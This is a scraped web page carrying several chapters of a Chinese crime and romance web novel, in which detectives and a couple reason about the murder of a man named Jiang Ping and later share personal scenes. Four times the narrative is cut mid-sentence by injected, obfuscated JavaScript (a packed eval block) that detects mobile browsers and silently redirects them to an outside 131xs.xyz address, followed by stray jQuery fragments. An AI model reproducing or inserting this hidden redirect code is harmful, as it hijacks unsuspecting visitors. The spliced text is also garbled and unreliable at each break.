方清昼就着冯队的手,只看一眼就变了脸色,眸中绽出一道精光,说:“糟糕。”
周随容赶紧把张开的袋子递过去:“吐这儿,祖宗。”
方清昼很慢地抬起头,表情像是受到了冲击,但并不是两人预想的那种恶心,她难得的带有一种迟疑道:“我可能认识他。他是A市人。”
冯队当她是在胡扯:“看清楚脸了吗你就认识他?他脸在这儿!你刚盯的地方是他的鞋。”
“他身上的衣服是我买的。”方清昼摸出自己的手机,埋头翻查曾经的付款记录,“当年我说想要采访他,他带着我去商场,消费了六万多块钱,然后找借口拒绝了我。单这件外套就要四万多。鞋子和裤子也是当时买的。”
周随容听她还吃过这闷亏,手里的袋子“啪”一下揉成了纸团:“你怎么没跟我说过?你没报警吗?这不算欺诈?”
以周随容的了解,方清昼虽然不怎么发怒,却很记仇,不会忍气吞声。
此时当事人表现得异常慷慨,像是懒得翻记录了,淡定关掉了屏幕,让周随容一下就琢磨出不对劲了。
果然,见自己蒙混不过去,方清昼才好似不经意地说:“其实后来我把整理好的资料发给了他的妻子跟他的单位。可惜他们好像并不在意这种事情。容哥,把电脑给我。”
她通过文件名快速搜索出图片,转过屏幕给冯队看:“是不是?没想到七八年了,他还穿着这一套,看来混得挺差的。”
照片是从背后拍的,跟死者的穿着高度一致。
冯队心说,四五万一件的衣服,他连儿女都不给,死了也得抱在怀里进棺材。转念一想怒火又飙升起来。
“七八年前你才多大?还在上学吧?他一个三十多岁的大老爷们坑你一小女生的钱?!真不是个东西!”冯队对这人的无耻行径深表唾弃,顺手把图片发自己手机上,一心二用地问,“他叫什么?话说你们两个生活能有什么交集?你去采访他做什么?”
“江平。”方清昼报出名字,其实已经标在图片上,“他初中的时候霸凌室友,导致室友跳楼自杀,事态失控后又把责任推给梁鸣,让梁鸣他爸赔了受害者家属二百万——梁鸣是我大学老师的儿子。你们的资料上应该有写。我找他求证这个。”
冯队发信息的手一抖,两眼瞪得要脱框而出,暂时收回之前觉得江平不是个东西的评价,吼叫的时候嗓子眼里能塞下一个鸡蛋:“不是,这种事情你去问本人啊?!”
方清昼挑眉,表情里写着“大惊小怪”四个大字:“所以他敲我竹杠的时候我没拒绝啊。”
周随容没想到自己能被多年前的旧事骇到遍体生寒,跟着大叫:“方清昼!!你一个人去的?”
方清昼说:“那没有,我在当地叫了个保镖。”
两人不知为何同时舒了口气。
冯队对方清昼横冲直撞的办事风格感到有些畏惧,开始后悔让他们去接触许游翔了。
他自认是个五大三粗的莽汉,办案时偶尔也喜欢豁出去搏把大的,人到中年才体会到老领导们那种心肝脾肺被捏在手里揉搓的感觉,捂着胸口苦口婆心地道:“接触许游翔的时候,你可别这样贴脸开大啊。”
许游翔敏感多疑,神经都快拧成麻花儿了,受不了这种五雷轰顶式的刺激。
别到时候梁益正的尾巴没抓住,方清昼先关进去了。
他半站起来,高大的身躯抵在车厢顶上,越过前座去握周随容的手,郑重交代道:“这位同志,你把控一下,一定要
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16410378|181909||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
跟秤砣一样拖住她的后腿!”
方清昼认为他们的担忧不可理喻:“我有分寸,好吗?”
冯队“呸”了一声:“每个犯罪份子,在东窗事发之前,都认为自己有分寸!”
方清昼认为他们是不懂自己的用心良苦,才这样一惊一乍,挑了下眉,自信地说:“我故意的。”
是吗?那更可怕了。
冯队在临时抱佛脚,一目十行地复习A市那边传来的资料。
他扫到几个关键字,仓促给出个推论:“所以假如死者真的是江平,梁鸣就是最大嫌疑人?”
周随容纳闷了,为什么跟梁鸣有过节,梁鸣就是最大的嫌疑人?江平这辈子难道只得罪过梁鸣一个人?
冯队的手活像个棒打鸳鸯的棍子,在两人中间奋力地挥舞:“小姑娘,看我啊。把你的眼神从你小男朋友脸上收一收!”
两人一个前排一个后排,还要用别扭的坐姿,无视他含情脉脉地对望,拿他当什么?
周随容跟梁鸣没有过接触,但是多少听说过这个人的事迹。
他还记得出发当天,方清昼刚跟这个人通过电话,疑窦丛生道:“梁鸣跟着来B市了?”
方清昼说:“不,梁鸣现在应该在A市钓鱼。”
冯队超负荷运转的大脑卖力地处理着信息,下意识地问:“钓上来了吗?你们A市有目标对象了?”
“……鱼。”方清昼卡了个壳儿,“世界上最古老的脊椎动物。栖息在水里……”
冯队忙打断她:“行了我知道了。”
他手机震动的频率高到像要爆炸。他拍拍椅背,不见外地说:“借个充电宝。”
工作时间,刑警队的工作效率极高,冯队没一会儿就给出答案:“江平确实在一周前乘坐动车来B市。大概率就是他了。”
说完他下车接了个紧急电话。
同一时间,方清昼的手机拨来一个语音邀请。她一接起来,季和在那头中气十足地叫她的名字:“方清昼。你——”
方清昼条件反射地点了挂断,直觉她下句话又是“回头是岸”。
季和:??
方清昼:你不要这样喊我。
季和:麻烦真多。快接。
方清昼点开外放。
季和跳过所有开场白:“我们可以保证,梁鸣一直待在A市。”
冯队拉开车门回来,顶着室外的热风问:“我请教一下啊,你们这个编辑记忆的技术,梁鸣可不可以做到?他拿到他爸留下的资料不难吧?”
周随容耳边“轰”得一声鸣响,脑海中电流般窜过什么信息,伴随着铁锤凿打的剧痛。他单手抵住额头,靠到了方向盘上,没等捉住什么,那阵白光似的灵感已随着突如其来的钝痛一闪而逝,剩下满头细密的冷汗。
方清昼紧张地观察着他的反应,听冯队喊了两声,才回道:“梁鸣跟他父亲关系恶劣,大学学的是保密专业,没有接触过生物医学或者神经科学之类的知识。他去年刚出狱。哪怕能拿到完整的实验资料,短时间内掌握相关技术的可能性也基本是零。”
周随容缓过一口气,喃喃道:“异常测定?”
23.思路
“对,就是这个项目。”
冯队随口答了一句,再次挤进车里,为了让电话对面的季和听清,特意提高了本就洪亮的嗓门:“那凶手会不会是为了陷害梁鸣?梁鸣身份敏感,沾上这种事情,只要传出去,有理没理都撇不干净。”
季和那边动静同是乱糟糟的,充斥着各种说话的声音,她接话道:“现场没有留下任何可以指向梁鸣的证据。梁鸣远在千里之外也有清楚明确的不在场证明。如果不是警方在听到死者的名字时,默认跟梁鸣有关,这件事根本落不到他头上。我不认为对方的目的是陷害。”
周随容闷声不响地坐着,脱离在几人讨论之外,从方向盘上微微抬起头,注视着远处绵邈的山景。
除了方清昼,没人注意到他此刻情绪的低迷。
冯队分析道:“现在是夏天,江平身上还穿着外套,说明遇害时是在开着空调的室内。他经济条件一般,特意穿一身贵衣服出行,应该是要见一个重要的人。”
季和:“刚刚联系过江平的家属。他妻子说他是第一次来B市。他这次的甲方客户是B市人,请他过来面谈合同。两人上一次联系是在三天前,因为他们夫妻俩之间本来就话不多,这种情况之前也有发生,她没在意。派出所的民警已经到江平家了,拿到了他用过的牙刷,准备送去比对DNA。他妻子猜到他可能遇害,现在有点歇斯底里,坚持要去B市找人。”
冯队思考了会儿,说:“你让她过来吧,告诉我时间,我找人去接一下。”
季和:“算了,等结果出来,我们分局的人陪她一起过去。她现在的情况,我担心她路上出问题。”
冯队:“行,那我们这边先申请调一下江平的酒店入主记录,研判他的行动轨迹,看能不能锁定嫌疑人。”
两人处事高效迅猛、果决利落,如果不是用的方清昼的手机就更好了。
由于方清昼总是延迟回复信息,陆盛兴强制给她升级了部分硬件,她的手机比普通的通讯工具音量要响。加上冯队是个大嗓门,两人遥相呼应,你一言我一语,声势不亚于钟鼓齐鸣。让方清昼感觉自己的耳膜在颤栗,听什么都带了道回音。
冯队下达完任务,抹了把脸,又精神抖擞地拉着方清昼推敲案情:“这位专家,我可不可以认为,凶手是被修改成了梁鸣的认知,为了复仇杀死江平?”
方清昼顿时头大了一圈:“梁鸣为什么要在杀完人后,把尸体搬到梁益正的别墅边上?他们虽然是同一个姓,但是生活圈没有重叠,互不认识。”
冯队摩挲着下巴,天马行空地畅想:“那就是凶手被变态科学家灌输了梁鸣的部分认知,同时又杂糅了一段跟梁益正有关的经历,导致他的作案方式没有逻辑,也无法系统性地研究他的杀人动机。”
他的推理不仅有着超脱现实的离谱,还有着舍弃智商的荒诞。
季和竟有动摇,没有第一时间反驳,而是问:“难度有点大。是吧?方清昼。”
周随容的忧郁被两人的不着边际给一下下拍散了,招架不住地说:“你们的办案思路一直这么狂野吗?”感觉像中了邪。
“不可能!这个项目没有你们想的那么反人类,我解释过很多次,它做不到随心所欲地修改正常人的认知!”方清昼不胜其烦,积蓄的燥意跟泉水一样汩汩迸溅出来,咬字很重地说,“沈知阳会被操控,是因为她跟我近距离相处过数年时间。她迷信我的权威,依赖我的庇护,所以在濒临崩溃时,‘成为我’这个意志,与她自我逃避的想法深度切合。即便如此,短短几天内她仍然多次出现混乱、失控、焦虑、恍惚等负面状态,无法稳定维持这种外部的强行干扰。换一个人,已经疯了。”
正在激情放飞想象的两人听她动了真火,终于老实了。
冯队不好意思地说:“哦,我们这不是对祖国的科技发展抱以积极的展望嘛。”
季和脸不红心不跳地说:“我知道,我是在委婉地否定他的猜想。”
方清昼余怒未消:“你到处说我是变态科学家。”
她听到手机对面一阵动静,应该是季和卷着纸给了赵戎的脑门一个重击。赵戎发出一声夸张的尖叫。
季和欲盖弥彰地说:“傻子,你怎么可以用那样的措词?”
赵戎委屈地道:“我严格遵从你的每一个字在执行任务啊。”
季和充耳不闻,把责任推卸得一干二净:“听到了吧?不是我发的。而且变态这个前缀词不是给你的。”
方清昼别过脸,与前排的周随容四目相对。
周随容哭丧个脸,无声做了句口型:“领导不高兴了?”
方清昼的脾气来得突然,去得倒快,她自己也有些莫名,恢复了自己沉着和善良,有条不紊地说:“江平没来过B市。凶手拿走他的随身证件,他妻子又不警觉,没及时报备失踪的话,警方根据现有条件难以确认死者身份。按照正常流程,会先从梁益正的社交关系入手。”
冯队说得口干舌燥,顺了他们车上一瓶水,这会儿表现得有几分温顺:“没错,我们原本是这么安排的。凶手抛尸的方式简单粗暴,目的显然是为了让人发现。且他对梁益正有充分的了解,知道他会在今天出现在别墅。命案跟其它的小打小闹不一样,就算梁益正是天王老子的儿子,也没那么容易压得下去。警方肯定会进行周密深入的调查。”
“假设凶手的真正目标是梁益正,他需要把警方的视线聚焦到他身上,那么死的人是谁,在他的计划中并不是关键。”
方清昼斟酌着道:“一般凶手不会千里迢迢到自己陌生的地方行凶,那样没有安全感。倘若换个角度思考,不是江平到了B市,意外被杀害,而是因为想让凶手杀了他,才需要让他到B市。梁益正是凶手想对付的人,江平……则可能是他同伙想对付的人。”
她说到后面,愈发涩滞。眉心皱起细微的纹路,主观上不大愿意接受梁鸣与此有关的结论。
冯队喝了半瓶水,嘴唇不干了,无情戳破:“这么半天,绕来绕去,梁鸣的嫌疑还是最大嘛。”
季和已能远程隔空观色,圆滑地说:“不一定。也许是为了陷害梁鸣呢?”
冯队耿直地怒斥:“你十分钟前还不是这么说的!”
周随容听了半晌,捋出来一点思路,被独立在外有些无所事事,请求参与:“我能不能也说两句?”
反正比他们之前玄幻的构思要明智得多。
方清昼准许:“小周请发言。”
“谢谢领导。”周随容颔首致意,娓娓发表
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16413042|181909||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
自己的总结,“我认为,凶手经过繁琐的筹备,不惜冒着暴露的风险,引导警方调查梁益正,说明他对梁益正怀有浓勃的恨意,单纯地目睹对方死亡,不能让他消解,起码要看到梁益正身败名裂。
“总归这起案件的唯一主角,不是江平,更不是梁鸣,只有梁益正。
“假如凶手是被修改了认知,那么真正跟梁益正有瓜葛的,其实是那个幕后主使。他在A市留下请帖诱导你带我过来,也是因为想让你关注梁益正。
“而且他掌握这项技术,不代表一定要用。或许根本没有所谓的同伙,凶手就是他本人。”
季和那边不停在敲打键盘,灵感如同火花一朵朵闪现,丝滑地接下了后半截:“他近距离接触过【异常测定】,知道这个项目最初是因为梁鸣才创立的。”
“当这个变态科学家需要一具尸体作为导火索,又没有合适的目标。出于致敬,或者其它不可言说的考虑,江平进入他的选择范围,是顺理成章。”冯队知道他们要说什么,语速飞快地画下句号,略带不屑地说,“写故事呢?”
“你们能不能别用变态科学家这个称呼?想个新的吧。”方清昼小小地抗议,紧跟着不吝赞美周随容对人性多样化的洞悉,“还是小周了解人情世故,我觉得逻辑上没有问题,还推导出了梁鸣的清白。”
周随容乐乐陶陶地说:“谢谢领导的赏识。”
冯队没眼看他们两个小年轻腻歪,拍了下掌心,总结陈词:“反正案件侦查的两个主要方向,一是江平出差来B市的契机,二是梁益正的生平过往。季队,麻烦你去江平公司查证了一下具体情况。有什么发现,大家及时沟通。”
季和:“可以。”
冯队风风火火地道:“那我走了,马上得回局里开会了。”
他下车时回头瞥了方清昼一眼,确认她没有再来次勒脖暗杀,这才放心迈开自己的两腿。
挂断语音,戛然而止的喧闹让两人都有种陡然落空的不适应。仿佛车厢里少了什么东西,一下显得空荡。
方清昼换到副驾的座位。
周随容设置好导航,启程回酒店。
“我感觉我有点幻听。”周随容拍了拍耳朵,问,“要听歌吗?”
方清昼一副庄重肃穆的模样,用不容逃避的语气问:“你刚才想起什么了吗?”
周随容深表感动地说:“哇,这么关注我啊?我以为你一门心思全在案子上。”
他面部的肌肉走势是上扬的,带着他惯常的松快,可笑容里没什么高兴的意味。
“我想起我妈了,不知道为什么。”周随容淡淡地问,“我是不是回去过?”
“嗯。”方清昼闷声道,“对不起。”
周随容频频看了她几眼,十分意外,随后哭笑不得地说:“好端端的,为什么要跟我说对不起?”
方清昼神色凝重:“不知道。因为你不开心。”
周随容顿时感觉鼻腔酸得发呛,差点抑制不住涌动的情绪,想把车停在路边,把方清昼抱在怀里。
他尽量让自己看起来若无其事,以展示自己的坚不可摧,好让方清昼丢掉那些本不属于她的失落跟伤心。喉结滚动着,和缓地说:“我没有不开心。我只是觉得我可能不该回去。”
24.游戏
周随容十四岁离家出走,原因是受不了继父的毒打,第一次反抗,用空热水壶砸向了男人的脑袋。
他自觉在家里住不下去,踩着双拖鞋仓皇逃走。
他孤身来到A市,穷困潦倒,在高中正式开学之前,只能露宿街头,过了一段颠沛流离的落魄生活。
细数起来,他跟母亲相处的时间,远没有他们分离得多。
周随容跟方清昼相似在,两人都成长在一个支离破碎、残缺动荡的家庭环境里。
截然不同的是,方清昼早早停止了所有不切实际的幻想。在父母试图回头缓和关系时,以一种严苛到令人心寒的态度表示了拒绝。
她不想看见父母在组建新的家庭后,一家人温馨和睦、其乐融融的样子;不想看见他们在经历过惨痛的错误后成长为合格的父母;不想从他们身上获得任何形式的补偿或者歉意,尤其不想作为边缘人参与他们的新生活。
三方保持不远不近的关系,是她眼中最理想的状态。
而周随容擅长自我欺骗,执迷于替他人构造虚假的关心,且轻而易举地沉浸其中。
他宁愿列出无数个荒唐的理由来缓解自己被抛弃的痛苦,也渴望能拥有一个完整的家庭。为此他可以近乎挥霍地给予他人诚挚的爱意,哪怕是对情感淡薄、不易接近的方清昼,也敢大胆地付出真心。
是个容易被伤害、被始乱终弃的人。
“你不知道吧。”周随容还是忍不住倾诉,“其实当年我很没出息,高一上半学期结束,学校放寒假,我就偷偷回去看过她一次。”
“当时她带着我弟弟在买年货,牵着弟弟的手,笑得满脸喜气。我从来没见过她那种神采焕发的样子,眼睛特别亮,表情很生动。我站在两三米远的位置偷看她,跟在她后面。她一直到买完东西,要回去了,才发现我。”
周随容已经可以做到风轻云淡地说出这段充满不堪的回忆,好像他真的凝出了一副铁石心肠,足够对此无动于衷。
“她当时的反应不是惊喜,而是恐惧和慌乱。拽着她儿子,加快脚步从我边上走过去,装作没有看见我……我觉得自己很可笑。”
车窗外明艳的夕阳,在他侧脸上勾出了一道橙黄的光晕,让他神情变得柔和。绷紧的额角,与泛白的指骨,被遮掩在点燃了半边天幕的霞光之中。
周随容的眼睛里是一片深沉的静谧,他笑着说:“在家里,我会帮她做绝大多数的家务。我订车票的时候,觉得哪怕不是出于亲情,只是因为不舍得一个勤劳的苦工,她见到我也应该会有些微的高兴。我甚至想好了她在邀请我回家里坐坐时要怎么拒绝她。结果只是我自作多情的误解。我的存在给她带来无尽的麻烦、困扰。是她做梦都想要甩掉的包袱。”
他勉强僵硬的笑脸,落在方清昼眼里,跟哭没什么两样。
然而方清昼贫瘠的词库,没办法给他贴切的安慰,连一个字也找不出。
“这次回去,她变化好大。我印象里她哪怕不怎么打扮,依旧漂亮得光彩照人,没想到她也会老。她跟她丈夫坐在小区楼下带孙女,是她丈夫先主动跟我搭话,她才怯怯叫了声我的名字。后来我可能就走了,不记得了。”周随容呼出一口气,面色如常道,“我之前明明下定决心,不会再回去自取其辱的。”
方清昼忽略他最后一段话,高声道:“你十四岁那一次,后来你回A市,我们一起在三夭大楼过的年。”
周随容呼吸迟滞,过了好久才听到自己的声音:“你怎么知道?”
“我当然知道。”方清昼骄傲地说,“我没有健忘的缺点。”
方清昼家里的保姆春节期间需要放假,因此她常去三夭食堂蹭饭。那天她实在闲着无聊,站在周随容身后看他用三夭的电脑打了一晚上的游戏。
“我以为你不会记得我,或者认为我是个奇怪的网瘾少年。”周随容的脸上一点点晕染出欣喜的神色,很快又一拧眉头,敏锐地说,“不对吧方学姐,我在大学遇到你的时候,你明明装作是第一次跟我见面。”
方清昼不仅没有惭愧,还为骗过他这件事感到洋洋得意:“怎么样?”
她通情达理地说:“我的导师教导我,不要戳穿一个在努力进步的人过去的失意,这会让双方都无所适从。我认为你应该不希望别人知道你的困顿。虽然那不是你的错,但不否认这个社会有不少嫌贫爱富的人,他们或许会因为你经济上的拮据而故意刁难你。”
“没关系,我不在意。”周随容出口的字句,像一粒粒清透的水珠欢快地弹跳出来,“我那时候特别紧张,不大会玩游戏,死了好几次,一直担心你骂我菜。但是你不声不响地看了三小时。”
方清昼说:“我知道。”
周随容说不清是惊吓还是惊喜了:“你又知道?!”
方清昼指点他满是漏洞的伪装:“因为你握鼠标的手频繁曲张,坐姿过于端正,还经常抽气。每次输了,呼吸就变得粗重。而且没有人会连续打三个小时电脑根本不转头的,周同学。”
周随容意味危险地喊她名字:“方清昼!你是在看我打游戏吗?”
“是啊。”
周随容一针见血地说:“你是拿我当游戏吧?”
“怎么会?”方清昼信誓旦旦地说,“我就是觉得你有趣,想知道为什么我站在你身后你会紧张。”
周随容双眼闪着熠熠的华光,嘴上抱怨:“你好烦啊方清昼。你为什么记这些没用的东西?”
方清昼说:“我送了你几件衣服,告诉你是三夭准备的新年礼物,其实是我买给你的。因为我觉得能帮助到你。”
周随容唇角上扬:“是吗?你去买的时候,我以为你是觉得无聊走开了。”
大楼里熏着过热的暖气,方清昼只穿了一件短袖,而周随容穿着从外面进来时的外套。
游戏打到一半,他不停抖动着里面的衣领散热,贴身的衣服被浸透了汗水,可因为上面有个破口,他强忍着没脱外衣。
本来如果方清昼不在,他可以偶尔去外面吹风。
周随容说:“那几件衣服我还留着。”
“零点的时候你跟我说了句‘新年快乐’。嗓子很干,跟石头一样。我想你这人声音挺粗粝的,有八十岁的老成。”方清昼对每一个细节都
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16420249|181909||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了若指掌,唯独跳过了中间的一小段插曲。
周随容别有深意地道:“你还漏了一件事吧?你趁我去换衣服,用我的角色打游戏,不仅死了好几次,还半场退出,导致我被队友举报,后来账号封了七天。”
方清昼安分地闭上嘴。
这段详尽的描述,让周随容仿佛重新经历了一遍往事。胸口漫出一池酥麻的暖意,潮水般汹涌上涨,盖过先前的痛心切骨,以不可扭转的态势,在回忆里打上新的标签。
时间宛如开了倍速,朝前拨了一大段,周随容还没察觉,车子已经到达酒店的停车场。
周随容去拿自己的手机,被方清昼抢先了一步。
周随容正色说:“干什么?抢东西啊?”
他的手机里下载了几个主流游戏,抽空就会玩一会儿,是当年养成的习惯。
方清昼点开其中一个,头也不抬地说:“我检查一下。”
她对游戏只有粗浅的了解,知道商城在哪里,以及怎么消费。
周随容领着她去找酒店电梯,方清昼一路上把账号里的资源都砸进了卡池。
周随容时不时瞥一眼屏幕,发现她手气黑得难出其右。
在大厅等电梯的中途,过来一位酒店服务生,柔声跟他们打了招呼,也在不着痕迹地看她抽奖。
方清昼抽出了一堆的垃圾,把背包都快填满了。
周随容见她一直不停地充钱,忍不住说:“你一直抽不到就先不要再抽了,会越抽越难受,过会儿再抽。”
方清昼抬头看了他一眼,手指轻车熟路地点击充值,说:“快保底了。”
充完新一单,她把手机递过去,周随容没接,虚揽着她往电梯里走,纵容道:“快保底了你还给我干什么?接着玩儿吧。”
方清昼自己抓起他的一根手指,在屏幕上点了一下。
抽奖界面闪过一道深暗的红光,然后跳出武器的介绍。
保底歪了。
不过方清昼不知道。
方清昼如愿以偿,给他展示自己的功劳,眉梢眼尾带着张扬跟自得:“怎么样?我传递给你的好运。”
服务生低着头辛苦憋笑,不过表情被电梯门的反光一清二楚地暴露出来。
周随容无话可说,只能眸光带笑地看她。
正好电梯响了一声,楼层到了。他拉着方清昼出去,注意力有些无法集中。
他走到方清昼的房间门口,停了下来。
方清昼被他挡住去路,茫然抬头,大脑灵活地转了一圈,善解人意地体会到他羞于表达的内心。
方清昼把手机塞回他兜里,伸手抱住他,将脸靠在他的肩上,轻轻蹭了蹭。鼻子和嘴唇贴着他的皮肤,带着温热的湿意。
周随容按住她的肩头,心跳本能地加快,有些滚烫,从皮肤烧进血脉,双手黏住了似地,做不到把她推开。
“我都知道。”方清昼大煞风景地说,“你在感动。”
综合考虑,她可以同意周随容复合的请求。
“方清昼。”周随容不得不提醒她,“你用的是我的手机,充的是我的钱。”
25.夜幕
方清昼朝后仰了仰,收回拥抱,脸上分明带着“花一点点钱怎么了”的忿忿。
根据她过往经验的判断,周随容并不是一个极度不懂浪漫,且严重缺乏恋爱情怀的人。
这种不怀好意、借题发挥的行为,后续走向大概率不是迁就而是为难,会以此为把柄,提出少量不合理要求。
方清昼赶紧摸出房卡,绕过大型障碍物周某去刷房门。
后者没有避让的自觉,霸占她的去路岿然不动,方清昼用手肘抵着他胸口推了下,发现推不开,只能贴着墙,从边上的空隙里挤过去。
她用肩膀顶开大门,屋内的灯光同步点亮,橘黄的光线笼罩住玄关,与窗外即将消退的晚霞是一应相似的朦胧。
周随容跟了进来,借由身高优势一下子挡到她的前面。不知道在笑什么,眼神里的光彩熠熠生辉,没头没脑地夸了一句:“方清昼,你现在好会说谎。”
方清昼听着感觉有点复杂:“我又骗你了?”
“我是说在别墅里。”周随容倚着墙面,握住她的手,殷勤吹捧道,“你的表演天衣无缝。你怎么知道梁益正他们有问题的?我简直要对你刮目相看了。”
方清昼登时心神振奋,意气昂扬地给他讲解:“原因有几点。首先是梁益正本身让人讨厌。他给我提了两次不合理的要求。第一次是给我倒酒,我说我不喝,他转道把酒递给你,因为默认你是我的同伴,为难你可以弥补他的脸面。第二次是在阳台让我抽烟。我说我不抽,而且不喜欢别人抽。他仍旧当着我的面抽了一根。这证明他性格嚣张、蛮横、跋扈,惯于颐指气使,且鲜少被人拒绝。明显心理病态,有违法乱纪的可能。
“其次,在发现尸体之后,一群人惊慌失色,看起来方寸大乱,却默契地没有讨论死者是谁,以及为什么会死在梁益正的别墅外。这给我传达出一种信号:他们并不意外梁益正会闹出人命。
“最关键的是——我本来只是想起个头,引导他们说几句梁益正的坏话。能有意外收获,多亏你助攻到位。”
这是她的学习成果报告,周随容看得专注,但听得不大用心。
在方清昼说完后过了两秒,他才心领神会地跟上一段:“王达,就是那个说要举报的小胖子,他跟我没聊几句话,就透露出一些梁益正的脏事。这个人口风松,爱面子,喜欢吹嘘,又好道听途说,表面跟梁益正关系亲近,实际是一跑腿的。这种人提溜起来稍微吓一吓,能套出不少东西,我本来是奔着他去的。”
方清昼蓦地一惊,后续事情接踵发生叫她忘了一个细节,此刻念法冒出来,一把抓紧周随容的手臂发问:“你之前是不是喝酒了?喝酒怎么能开车?”
周随容大概不记得自己强调过多次的二人已分手的事实,靠近了点抱住她的腰,低下头亲吻她。
“我没喝,他们吵得烦人我就假装抿了一口,其实只沾到嘴唇。你闻到了吗?”
说着又亲了亲她的脸颊,鼻息喷洒过她的耳朵,吸了口气,像是在闻她身上的味道。
方清昼的手摸到了他脖上的刀疤,手指微微下压,透过那片粗糙的皮肤感受到他滚烫的体温和加速的心跳。
周随容一开口说话,声带的震动随之从指腹下传来。
“我真喝酒了你是不是要举报我?那我得进拘留所,好几天见不到你。”
他低垂的脸在光线的流转交织中,犹如一张完美的剪影画,眼神沉静又温柔,让方清昼有些晕头转向,给了她抓住某种契机的错觉。
也是周随容今天恢复记忆而深陷低落的情况叫她生出恐慌,仿佛又看见他举刀自残的血腥场面,导致方清昼有些急躁。
方清昼想也不想地问:“如果我做错了事呢,你希望我怎么办?”
周随容:“嗯?”
方清昼一个激灵警醒,缩回所有试探的触角,将脸埋在他肩窝里说:“没什么。”
周随容以为她是在意刚才充钱的事,失笑道:“我开玩笑,你怎么什么都当真?”
又抱了她一会儿,说:“我的错,下次不这么逗你了。”
他鼻翼翕动,这会儿才隐约闻到自己身上还沾着点聚会里的烟味,跟方清昼拉远了些距离,说:“我先去洗澡,晚点带你吃饭。在这儿等我。”
周随容步伐轻快地出去了,方清昼一个人留在寂静的房间。
她在原地站了会儿,走到床头坐下,心情起起伏伏地翻搅半天,苦思冥想无果,决定向自己的同事兼情感顾问寻求咨询。
方清昼:林指导。在吗?
方清昼:坏消息通常要在对方开心的时候提,还是不开心的时候提?
方清昼:电视里大多数是前者。
林姐一如既往的可靠,给出办法的时间不超过一分钟。
不不(小林无头版):坏消息通常不提。
方清昼:哦。
方清昼:告知前没有铺垫成功的话,事后可以怎么补救,能减少伤害?
不不(小林无头版):不要补救,让对方自我消化。
方清昼:要是他消化不了呢?
不不(小林无头版):那是他的问题。
不不(小林无头版):弱者不配做你的朋友。【微笑】
方清昼失望地关掉聊天界面。
林姐还是太AI了,不够灵活应变,也缺乏人文关怀。
过了两分钟,林姐重新回答了她的问题。
不不(小林无头版):觉得快瞒不下去,且他开心的时候。
方清昼感激回复:好的。
·
四面的红云隐没在侵袭的夜幕中,骤然点亮的灯火一路从城市延伸向郊外,照明的光点随着浓密的植被变得稀疏,僻静乡村外的湖面上,倒映出月光原本的银白。
“你喜欢钓鱼吗?”
身后突兀响起的声音,让昏昏欲睡的梁鸣差点从躺椅上摔下来。他伸手一摸,确认架着的鱼竿还在,这才掉头去看身后说话的人。
男人不知道是什么时候过来的,停在离他一米开外的黑暗中,只能看清大致的身影跟腕表上的冷光。
梁鸣用手电朝他脸上匆匆照了一下,避开他的眼睛,粗略窥见他的长相。
男人比他年轻,大约三十多岁,穿着件裁剪修身的衬衫。五官不同于梁鸣那样有着深刻的轮廓,也不是周随容那种周正的英俊,气质偏向温润,有种用笔细描出来的淡雅感,发色也偏浅,站在那儿,有种华贵、精致而脆弱的质感,与他身后那片错乱的杂草、泥泞的湿地,显得格格不入。
梁鸣把手电在折叠桌上架好,拿起一旁的驱蚊水,往他那边喷了几下,粗犷地问:“你是人吧?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16433763|181909||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>梁鸣先前被他神出鬼没的行迹震撼得魂飞出二里地,这会儿再没半点困意,翘着二郎腿说:“不好意思,我这人唯物得不那么坚定。下次换个场合跟我搭话行吗?”
男人往前走了几步,手电的光照出他修长的身形,在地面跟水面投下模糊的影子。
“我觉得你不是喜欢钓鱼,是喜欢远离人群。”
梁鸣瞪大了眼睛打量这奇人:“这个点你给我煲心灵鸡汤呢?”
